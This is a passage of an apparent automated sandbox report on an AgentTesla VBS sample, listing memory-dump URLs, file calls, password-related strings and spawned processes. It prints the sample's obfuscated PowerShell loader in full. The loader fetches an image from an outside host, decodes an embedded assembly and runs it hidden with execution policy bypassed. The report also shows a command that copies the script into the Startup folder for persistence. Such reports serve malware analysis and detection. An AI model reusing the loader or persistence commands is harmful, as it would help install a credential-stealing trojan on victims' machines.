"00000000-00008104.00000000.243778.5B740000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportrpc" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmlistclass" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0a6w[uqiu(1>" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "https://go.microsoft.colore" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://scomspec=c:\windows\system32\cmd.exe0093gton1on1&&s" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008104.00000000.243778.75970000.00000004.mdmp") Found URL "http://www.micrm/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008104.00000000.243778.75A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008104.00000000.243778.75A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smmicrosoft" - Source: "00000000-00008104.00000000.243778.75A70000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportc:\windows\system32\windowspowershell\v1.0;c:\windows\system32;c:\windows\system;c:\windows;.;c:\program" - Source: "00000000-00008104.00000000.243778.75BB0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp") Found URL "http://www.microsoft.com0'6*lpath=c:\program" - Source: "00000000-00008104.00000001.244992.5B740000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008104.00000001.244992.75970000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmlist" - Source: "00000000-00008104.00000001.244992.75970000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008104.00000001.244992.75970000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uqiu(1>" - Source: "00000000-00008104.00000001.244992.75970000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "https://go.microsoft.colore" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://scomspec=c:\windows\system32\cmd.exe0093gton1on1&&s" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008104.00000001.244992.75A03000.00000004.mdmp") Found URL "http://www.micrwashington1redmond1microsoft" - Source: "00000000-00008104.00000001.244992.75A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smmicrosoft" - Source: "00000000-00008104.00000001.244992.75A70000.00000004.mdmp")57:T8a9,"WScript.exe" called "FindFirstFileW" with parameter C:\AgentTesla.vbs (UID: 00000000-00000764) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005228) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005228) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00005228) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00005228) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00005228) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005228) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00005228)58:T902,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67C20000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002120.00000000.244061.67C40000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67C40000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002120.00000000.244061.67C70000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002120.00000000.244061.67C70000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67CF0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67CF0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67CF0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.67CF0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C528F000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C528F000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C528F000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00005228.00000000.243438.67C10000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00005228.00000000.243438.67D00000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00005228.00000000.243438.67D00000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00005228.00000000.243438.67D00000.00000004.mdmp")59:T55f,file/memory contains long string with (Indicator: "[F2]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F3]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F4]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F5]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F6]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F9]"; File: "AgentTesla.vbs") file/memory contains long string with (Indicator: "[F12]"; File: "AgentTesla.vbs") Found string "' this.btnIncluir.Text = "Incluir [F2]";" (Indicator: "[F2]"; File: "AgentTesla.vbs") Found string "' this.btnSalvar.Text = "Salvar [F3]";" (Indicator: "[F3]"; File: "AgentTesla.vbs") Found string "' this.btnModificar.Text = "Modificar [F4]";" (Indicator: "[F4]"; File: "AgentTesla.vbs") Found string "' this.btnCancelar.Text = "Cancelar [F5]";" (Indicator: "[F5]"; File: "AgentTesla.vbs") Found string "' this.btnExcluir.Text = "Excluir [F6]";" (Indicator: "[F6]"; File: "AgentTesla.vbs") Found string "' this.btnPesquisar.Text = "Pesquisar [F12]";" (Indicator: "[F12]"; File: "AgentTesla.vbs") Found string "' this.btnSair.Text = "Sair [F9]";" (Indicator: "[F9]"; File: "AgentTesla.vbs")5a:T9dd,Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00000764-00000BC1-2784605712") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00000764-00000BC0-2793935210") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00004532-00000BC0-2784753979") Found string "\Device\HarddiskVolume3\Windows\System32\PING.EXE" (Indicator: "\Device\"; Source: "00000000-00004532-00000BC0-2785053403") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000000.244061.AB140000.00000004.mdmp, 00000000-00002120.00000000.244061.ACA70000.00000004.mdmp, 00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000000.244061.C54A0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AB140000.00000004.mdmp, 00000000-00002120.00000001.244972.ACA70000.00000004.mdmp, 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C54A0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000000.244061.AB140000.00000004.mdmp, 00000000-00002120.00000000.244061.ACA70000.00000004.mdmp, 00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000000.244061.C54A0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AB140000.00000004.mdmp, 00000000-00002120.00000001.244972.ACA70000.00000004.mdmp, 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C54A0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002120.00000001.244972.C5504000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002120.00000001.244972.C5504000.00000004.mdmp")5b:T13c1,Commandline contains PowerShell string "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD......." in [Source : powershell.exe]5c:T1b33,Spawned process "WScript.exe" with commandline ""C:\\AgentTesla.vbs"" (UID: 00000000-00000764) Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')"" (UID: 00000000-00004532) Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003936) Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')"" (UID: 00000000-00001020) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')" (UID: 00000000-00005228) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$